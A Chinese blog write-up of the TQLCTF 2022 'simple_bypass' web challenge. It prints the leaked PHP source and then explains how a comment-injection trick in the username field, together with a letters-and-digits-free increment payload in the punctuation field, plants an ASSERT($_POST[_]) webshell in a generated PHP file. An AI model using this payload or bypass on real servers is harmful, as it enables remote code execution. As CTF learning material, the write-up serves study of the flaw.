CHHHCHHOH 's BLOG

[TQLCTF 2022]simple_bypass

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经过测试,发现图片、游戏都是规定的网址,网站则是自己输入的网址
但是好康的通过抓包发现通过参数传值读取服务器的图片,而且有文件读取漏洞
返回的数据包存在base64加密后的文件内容
index.php:

<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
    $hash_user = md5($_POST['user']);
    $hash_pass = 'zsf'.md5($_POST['pass']);
    if(isset($_POST['punctuation'])){
        //filter
        if (strlen($_POST['user']) > 6){
            echo("<script>alert('Username is too long!');</script>");
        }
        elseif(strlen($_POST['website']) > 25){
            echo("<script>alert('Website is too long!');</script>");
        }
        elseif(strlen($_POST['punctuation']) > 1000){
            echo("<script>alert('Punctuation is too long!');</script>");
        }
        else{
            if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
                if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
                    $_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
                    $template = file_get_contents('./template.html');
                    $content = str_replace("__USER__", $_POST['user'], $template);
                    $content = str_replace("__PASS__", $hash_pass, $content);
                    $content = str_replace("__WEBSITE__", $_POST['website'], $content);
                    $content = str_replace("__PUNC__", $_POST['punctuation'], $content);
                    file_put_contents('sandbox/'.$hash_user.'.php', $content);
                    echo("<script>alert('Successed!');</script>");
                }
                else{
                    echo("<script>alert('Invalid chars in website!');</script>");
                }
            }
            else{
                echo("<script>alert('Invalid chars in username!');</script>");
            }
        }
    }
    else{
        setcookie("user", $_POST['user'], time()+3600);
        setcookie("pass", $hash_pass, time()+3600);
        Header("Location:sandbox/$hash_user.php");
    }
}
?>

<!doctype html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> 
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Simple Linux</title>
    <link rel="stylesheet" type="text/css" href="css/styles.css">
    <!--[if IE]>
        <script src="http://libs.baidu.com/html5shiv/3.7/html5shiv.min.js"></script>
    <![endif]-->
</head>
<body>
    <div class="jq22-container" style="padding-top:100px">
        <div class="login-wrap">
            <div class="login-html">
                <input id="tab-1" type="radio" name="tab" class="sign-in" checked><label for="tab-1" class="tab">Sign In</label>
                <input id="tab-2" type="radio" name="tab" class="sign-up"><label for="tab-2" class="tab">Sign Up</label>
                <div class="login-form">
                    <form action="index.php" method="post">
                        <div class="sign-in-htm">
                            <div class="group">
                                <label for="user" class="label">Username</label>
                                <input id="user" name="user" type="text" class="input">
                            </div>
                            <div class="group">
                                <label for="pass" class="label">Password</label>
                                <input id="pass" name="pass" type="password" class="input" data-type="password">
                            </div>
                            <!-- <div class="group">
                                <input id="check" type="checkbox" class="check" checked>
                                <label for="check"><span class="icon"></span> Keep me Signed in</label>
                            </div> -->
                            <div class="group">
                                <input type="submit" class="button" value="Sign In">
                            </div>
                            <div class="hr"></div>
                            <!-- <div class="foot-lnk">
                                <a href="#forgot">Forgot Password?</a>
                            </div> -->
                        </div>
                    </form>
                    <form action="index.php" method="post">
                        <div class="sign-up-htm">
                            <div class="group">
                                <label for="user" class="label">Username</label>
                                <input id="user" name="user" type="text" class="input">
                            </div>
                            <div class="group">
                                <label for="pass" class="label">Password</label>
                                <input id="pass" name="pass" type="password" class="input" data-type="password">
                            </div>
                            <div class="group">
                                <label for="pass" class="label">Your Website</label>
                                <input id="pass" name="website" type="text" class="input">
                            </div>
                            <div class="group">
                                <label for="pass" class="label">Your Punctuation</label>
                                <input id="pass" name="punctuation" type="text" class="input">
                            </div>
                            <div class="group">
                                <input type="submit" class="button" value="Sign Up">
                            </div>
                            <div class="hr"></div>
                            <div class="foot-lnk">
                                <label for="tab-1">Already Member?</a>
                            </div>
                        </div>
                    </form>
                </div>
            </div>
        </div>
    </div>
    
</body>
</html>

template.html:

        <?php
            error_reporting(0);
            $user = ((string)__USER__);
            $pass = ((string)__PASS__);
            
            if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
                echo($_COOKIE['user']);
            }
            else{
                die("<script>alert('Permission denied!');</script>");
            }
        ?>
        </li>
      </ul>
      <ul class="item">
        <li><span class="sitting_btn"></span>系统设置</li>
        <li><span class="help_btn"></span>使用指南 <b></b></li>
        <li><span class="about_btn"></span>关于我们</li>
        <li><span class="logout_btn"></span>退出系统</li>
      </ul>
    </div>
  </div>
</div>
<a href="#" class="powered_by">__PUNC__</a>
<ul id="deskIcon">
  <li class="desktop_icon" id="win5" path="https://image.baidu.com/"> <span class="icon"><img src="../img/icon4.png"/></span>
    <div class="text">图片
      <div class="right_cron"></div>
    </div>
  </li>
  <li class="desktop_icon" id="win6" path="http://www.4399.com/"> <span class="icon"><img src="../img/icon5.png"/></span>
    <div class="text">游戏
      <div class="right_cron"></div>
    </div>
  </li>
  <li class="desktop_icon" id="win10" path="../get_pic.php?image=img/haokangde.png"> <span class="icon"><img src="../img/icon4.png"/></span>
    <div class="text"><b>好康的</b>
      <div class="right_cron"></div>
    </div>
  </li>
  <li class="desktop_icon" id="win16" path="__WEBSITE__"> <span class="icon"><img src="../img/icon10.png"/></span>
    <div class="text"><b>你的网站</b>

index.php主要是用我们传进来的参数结果WAF过滤替换网站模板里的对应参数然后进行展示
然后就是要想办法传入php代码,但是WAF过滤很严,连<都过滤了,<?php 和<script都传不进来
只能利用template.html最开头的那个<?php
通过user字段的替换把后面多行注释,然后在punction那里进行闭合,并注释木马后面
所以再注册一个账号
user:/**
punction:/[]);$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);/
因为过滤了数字字母,所以用自增绕过
注意:之前是$user = ((string)/*);
$user这条语句还有问题,要用[]);来闭合,再加马
传入之后其实有回显,但被网页挡住了,可以在源代码里看

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